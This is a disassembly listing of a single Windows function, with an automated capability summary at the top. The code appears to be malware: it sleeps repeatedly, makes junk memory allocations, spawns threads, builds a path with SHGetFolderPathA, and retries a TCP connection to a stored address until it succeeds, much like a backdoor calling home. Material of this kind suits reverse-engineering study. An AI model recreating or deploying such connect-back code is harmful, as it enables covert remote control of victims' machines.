Function at 0x401940
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Get common file path
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1cc
mov eax, dword [0x410018]
xor eax, esp
mov dword [esp + 0x1c8], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x177f
call edi
call fcn.00401e30
push 0x44c
call edi
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x409030
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp + 0x10]
push 1
mov dword [0x4104bc], eax
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, ebx
je 0x4019a6
mov byte [eax], bl
mov dword [esp + 0x18], eax
jmp 0x4019aa
mov dword [esp + 0x18], ebx
mov ecx, dword [esp + 0x18]
push 1
mov byte [ecx], 0x2e
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, ebx
je 0x4019c8
mov byte [eax], 6
mov dword [esp + 0x14], eax
jmp 0x4019cc
mov dword [esp + 0x14], ebx
mov edx, dword [esp + 0x14]
push 1
mov byte [edx], 0x2e
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, ebx
je 0x4019e9
mov byte [eax], bl
mov dword [esp + 0x1c], eax
jmp 0x4019ed
mov dword [esp + 0x1c], ebx
mov eax, dword [esp + 0x1c]
push 1
mov byte [eax], 0x2e
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, ebx
je 0x401a0b
mov byte [eax], 6
mov dword [esp + 0xc], eax
jmp 0x401a0f
mov dword [esp + 0xc], ebx
mov ecx, dword [esp + 0xc]
push 1
mov byte [ecx], 0x2e
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, ebx
je 0x401a2c
mov byte [eax], bl
mov dword [esp + 0x10], eax
jmp 0x401a30
mov dword [esp + 0x10], ebx
mov edx, dword [esp + 0x10]
push 1
mov byte [edx], 0x2e
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, ebx
je 0x401a4c
mov byte [eax], 6
mov esi, eax
jmp 0x401a4e
xor esi, esi
push 1
mov byte [esi], 0x2e
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, ebx
je 0x401a63
mov byte [eax], bl
mov ebx, eax
mov eax, 0x412918
mov byte [ebx], 0x2e
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401a70
sub eax, edx
jne 0x401a9f
jmp 0x401a80
call fcn.00405d70
push 0x2134
call edi
mov eax, 0x412918
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401a94
sub eax, edx
je 0x401a80
push 0x412918
lea ecx, [esp + 0x28]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov eax, dword [esp + 0x18]
push eax
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
mov ecx, dword [esp + 0x18]
add esp, 4
push ecx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
mov edx, dword [esp + 0x20]
add esp, 4
push edx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
mov eax, dword [esp + 0x10]
add esp, 4
push eax
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
mov ecx, dword [esp + 0x14]
add esp, 4
push ecx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push ebx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
call fcn.00401e30
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
xor esi, esi
add esp, 4
cmp eax, esi
je 0x401b1f
mov byte [eax], 0
mov dword [esp + 0x10], eax
jmp 0x401b23
mov dword [esp + 0x10], esi
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, esi
je 0x401b3a
mov byte [eax], 6
mov dword [esp + 0xc], eax
jmp 0x401b3e
mov dword [esp + 0xc], esi
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, esi
je 0x401b55
mov byte [eax], 0
mov dword [esp + 0x1c], eax
jmp 0x401b59
mov dword [esp + 0x1c], esi
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, esi
je 0x401b70
mov byte [eax], 6
mov dword [esp + 0x14], eax
jmp 0x401b74
mov dword [esp + 0x14], esi
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, esi
je 0x401b8b
mov byte [eax], 0
mov dword [esp + 0x18], eax
jmp 0x401b8f
mov dword [esp + 0x18], esi
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, esi
je 0x401ba4
mov byte [eax], 6
mov ebx, eax
jmp 0x401ba6
xor ebx, ebx
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp eax, esi
je 0x401bb9
mov byte [eax], 0
mov esi, eax
mov edx, dword [esp + 0x10]
push edx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call edi
push 0x64
call edi
mov eax, dword [esp + 0xc]
push eax
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call edi
mov ecx, dword [esp + 0x1c]
push ecx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call edi
mov edx, dword [esp + 0x14]
push edx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call edi
mov eax, dword [esp + 0x18]
push eax
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call edi
push ebx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0x64
call edi
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0x40]
push ecx
push 0x102
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401c48
push 0x61a8
call edi
call fcn.00406fd0
call fcn.00401e30
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x409030
push 0
push 0
call ebx
cmp dword [esp + 0x3c], 0x10
mov eax, dword [esp + 0x28]
jae 0x401c73
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
movzx edx, word [0x4100b0]
push edx
mov dword [0x4124d8], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x412810
push 0
push 0
mov word [0x4124d6], ax
push 9
mov eax, 2
push 0
mov word [0x4124d4], ax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0x40c544
push 0x104
push 0x412810
call dword [sym.imp.MSVCR90.dll_strcat_s]
add esp, 0xc
call fcn.00401e30
push 0
push 0
push 0
push 0x409030
push 0
push 0
call ebx
push 0x157c
call edi
push 0x1a
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x40c548
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
call fcn.00407160
push 0x806
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
add esp, 0x24
mov esi, eax
push 0x1f4
mov dword [esi], 0x2e2d2e2d
call edi
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 5
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0x40c548
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
call fcn.00407160
add esp, 0x20
jmp 0x401d50
cmp byte [0x4125dc], 0
jne 0x401e22
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x10
push 0x4124d4
push eax
mov dword [0x4124e4], eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x401da0
mov ecx, dword [0x4124e4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x4272
mov dword [0x4124e4], 0xffffffff
call edi
jmp 0x401d50
cmp dword [0x412b94], 0
mov byte [0x4125dc], 1
je 0x401dbb
mov ecx, 0x412b40
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
cmp dword [0x412c38], 0
je 0x401dcf
mov ecx, 0x412be8
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
call fcn.004089d0
push 0
push 0
push 0
push 0x405cc0
push 0
push 0
call ebx
push 0x9f6
call edi
push 0x806
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
add esp, 4
mov esi, eax
push 0x1f4
mov dword [esi], 0x2e2d2e2d
call edi
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push 0
push 0
push 0
push 0x408ee0
push 0
push 0
call ebx
push 0x4272
call edi
jmp 0x401d50